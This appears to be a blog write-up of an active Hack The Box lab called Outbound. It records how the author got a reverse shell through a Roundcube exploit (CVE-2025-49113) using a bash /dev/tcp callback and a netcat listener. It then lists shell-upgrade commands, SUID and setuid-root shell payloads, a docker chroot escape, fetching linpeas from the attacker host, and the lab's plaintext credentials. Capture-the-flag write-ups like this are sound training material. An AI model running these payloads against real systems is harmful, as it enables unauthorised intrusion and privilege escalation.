zerodumb@hacking-journal:~/labs$

Outbound: Active, no spoiler

· 10 min read
networkreconnaissancebeginnernmapwiresharklinpeaseasy

outbound

Outbound

Status = Active
Rank = Easy

All the things that haven’t worked for outbound, and why I feel very dumb at this point

Ok, So, Roundcube and this specific lab did allow me, the attacker to do way more than I anticipated. It was all pointless and wasted effort, but, I think if I kept at it, I could have found multiple ways back to root. For example: I was able to force install plugins to the host, I mean it crashed the url, but it did install, and it would have downed a live target. Perhaps roundcube should look into this.

force

Get a shell

  • for this specific machine I used the known exploit for roundcube CVE-2025-49113 by uploading and injecting at the same time.

step one start your listener with nc -lvnp 4444

  • then run the php exploit, this allows for roundcube to call home for us. I found this payload as the second search result for a simple duckduckgo, I mean google, search, it is located at https://github.com/hakaioffsec/CVE-2025-49113-exploit with a readme with details

I just downloaded raw file, placed it in my /htb/tools/ dir and updated the command

php ~/htb/tools/CVE-2025-49113.php http://mail.outbound.htb tyler LhKL1o9Nm3X2 
"bash -c 'bash -i >& /dev/tcp/10.10.xx.xxx/4444 0>&1'"

Upgrade shell

  • first try python
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
stty rows 40 columns 160

then if no .py

script -qc /bin/bash /dev/null

or

/bin/sh -i

or all else use perl

perl -e 'exec "/bin/bash";'

Switch to user

try su or /bin/su

also check for open passwd files

grep -i 'tyler' /etc/passwd

Go for the flag first

You may not agree with this, but before you spend all day looking through random things, go where things normally are first.

ls -la /home/<target>
cat /home/<target>/user.txt
find /home/tyler -type f -iname ".*" -exec ls -la {} \;
grep -Ri "password" /var/www 2>/dev/null
find / -type f -name "id_rsa" 2>/dev/null

I even ran

find / -type f -name "*.txt" 2>/dev/null

and

find / -type f -name "*.txt" -exec ls -l {} \; 2>/dev/null

to locate all .txt files

Check sudo rights

which sudo
sudo -l
  • Does target have root access or reusable password
su root

### Check all SUID file
find / -perm -4000 2>/dev/null


### Find writable 
find / -writable -type f 2>/dev/null | grep -v '/proc'

or getcap -r / 2>/dev/null

or use enumeration script like

wget https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh
chmod +x lse.sh
./lse.sh

if it works then cat /root/root.txt

The Serve

I like linpeas, it does a lot, it is free to use, it is all cli, and it highlights (normally) exactly where to start so for me that’s what I used here (and on several other boxes too). Love it or make fun, idc.

Here’s how to get it into the host, even if it is a container of vm, most the time.

# from attack machine
python3 -m http.server 8080

# from target machine
cd /tmp
wget http://<your_ip>:8080/linpeas.sh -O linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

Here’s part of what it found for me

  Potential issue in service file: /etc/systemd/system/multi-user.target.wants/mariadb.service
  └─ RELATIVE_PATH: Could be executing some relative path
  Potential issue in service file: /usr/lib/systemd/system/getty-static.service
  └─ RELATIVE_PATH: Could be executing some relative path
  Potential issue in service file: /usr/lib/systemd/system/getty.target.wants/getty-static.service
  └─ RELATIVE_PATH: Could be executing some relative path
  Potential issue in service file: /usr/lib/systemd/system/initrd-cleanup.service
  └─ RELATIVE_PATH: Could be executing some relative path
  Potential issue in service file: /usr/lib/systemd/system/initrd-parse-etc.service
  └─ RELATIVE_PATH: Could be executing some relative path
  Potential issue in service file: /usr/lib/systemd/system/initrd-switch-root.service
  └─ RELATIVE_PATH: Could be executing some relative path
  Potential issue in service file: /usr/lib/systemd/system/initrd-udevadm-cleanup-db.service
  └─ RELATIVE_PATH: Could be executing some relative path
  Potential issue in service file: /usr/lib/systemd/system/mariadb.service
  └─ RELATIVE_PATH: Could be executing some relative path
  Potential issue in service file: /usr/lib/systemd/system/mysql.service
  └─ RELATIVE_PATH: Could be executing some relative path
  Potential issue in service file: /usr/lib/systemd/system/mysqld.service
  └─ RELATIVE_PATH: Could be executing some relative path
You can't write on systemd PATH

╔══════════╣ Systemd Information
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#systemd-path---relative-paths
═╣ Systemd version and vulnerabilities? .............. 255.4
8.6
═╣ Services running as root? ..... 
═╣ Running services with dangerous capabilities? ... 
═╣ Services with writable paths? . 
╔══════════╣ Systemd PATH
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#systemd-path---relative-paths

╔══════════╣ Users with console
jacob:x:1001:1001::/home/jacob:/bin/bash
mel:x:1002:1002::/home/mel:/bin/bash
root:x:0:0:root:/root:/bin/bash
tyler:x:1000:1000::/home/tyler:/bin/bash

╔══════════╣ Do not forget to test 'su' as any other user with shell: without password and with their names as password (I don't do it in FAST mode...)

╔══════════╣ Do not forget to execute 'sudo -l' without password or with valid password (if you know it)!!

╔══════════╣ Interesting writable files owned by me or writable by everyone (not in Home)
/dev/mqueue
/dev/shm
/home/tyler
/run/lock
/tmp
/tmp/linpeas.sh
/var/lib/php/sessions
/var/mail/tyler
/var/tmp

The container issue

With a few commands, and from linpeas both, we confirm that we are indeed in a container

Now, for my issue specifically. I knew early on that I was in a container, but, this container has a database so it completely sidetracked me, I will end up spending hours here desperately trying to locate the user flag or credentials.

I tried running checks for priv mounts and several other things like

ls -la /dev/sda2

chroot /dev/sda2 /bin/bash

cat /proc/1/cgroup | grep -i "docker\|lxc"

ls -la / | grep docker

mount | grep -E "docker|lxc"

ls -la /var/run/docker.sock

mysql -S /run/mysqld/mysqld.sock -u root

cat /etc/cron.d/php

Thing to note that I missed early on

Privilege Escalation via Services

MariaDB service file (/etc/systemd/system/multi-user.target.wants/mariadb.service) may have relative paths.

➤ If you can write into the directory of the relative path, you can hijack service binaries when MariaDB restarts.

Note: We actually use this path hijacking in another lab editor.

Capabilities

Current capabilities include:

cap_setuid, cap_setgid, cap_net_bind_service, etc.

These don’t directly allow root escalation but can be leveraged if combined with a writable SUID binary.

  • so I then checked for writable scripts

ls -la /bin/socat-broker.sh

and I again checked for writables in the binaries too

find / -perm -4000 -type f 2>/dev/null

which if this one would have worked I would have tried to spawn root shell with a new container

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

(Likely Path) From what I see, this machine might lean on:

SUID / misconfigured cron

Stored database creds in /var/www/html/config.php or similar.

Possibly PHP version exploits or reverse shell upgrade through sessionclean script if writable.

Look for existing SUID binaries:

find / -perm -4000 -type f 2>/dev/null

Sometimes tools like: find, vim, or nmap can be abused for privilege escalation.

perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'

and

perl -e 'exec "/bin/sh";'

Using Perl to Create a SUID Shell If you can write to a location and set SUID on a file (like in your Python exploit), you can do:

echo 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";' > rootshell.pl
chmod +x rootshell.pl

Then set the SUID bit (if you have a way):

chmod u+s rootshell.pl

…and run it:

./rootshell.pl

and I tried awk too

awk 'BEGIN { system("/bin/bash") }'

and I tried executing perl payloads direct too

/usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'

Now, here’s something maybe. If you can write to a file in /tmp and run it as root via cron or a vulnerable binary, this will give you root:

cat << 'EOF' > /tmp/rootshell.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
    setuid(0);
    setgid(0);
    system("/bin/bash");
    return 0;
}
EOF

gcc /tmp/rootshell.c -o /tmp/rootshell
chmod +s /tmp/rootshell

then /tmp/rootshell

Now wait to see if any cron or service runs as root and touches /tmp. If you can chmod +s it (chmod +s /tmp/rootshell), it’ll go root immediately.

Mysql MariaDB

for this exercise, here’s how I got to the MariaDB

I reverted back to the initial user that logged in with the shell www-data and after prodding around located the MySQL creds

mysql://roundcube:RCDBPass2025@localhost/roundcube

so I went

mysql -u roundcube -pRCDBPass2025

mysql -u roundcube -pRCDBPass2025 -e "show databases; use roundcube; show tables;"

and went searching. I did locate the sessions files and found password|s:32:“L7Rv00A8TuwJAr67kITxxcSgnIk25Am/” and I also had no clue how or where to use it. so I searched users, and several other pretty pointless files

I AM ROOT

pwned

Full Lab

To see how we eventually pwned our new user and became root in seconds with exploit.py, check back once the lab has been retired.

Question loudly so others can learn quietly. Stay curious. Stay loud.

Don’t Be A Skid -Zero

Buy Me A Coffee @iamnotaskid

Join HTB Academy

Related Posts

Nmap Full Port Scan Script

enumerationnmappentestingscriptingbashreconnaissance
tools

Nmap Quick Scan Script

enumerationnmappentestingscriptingbash
tools

Artificial: Active, no spoiler

networkreconnaissanceeasynmapbackrest
labs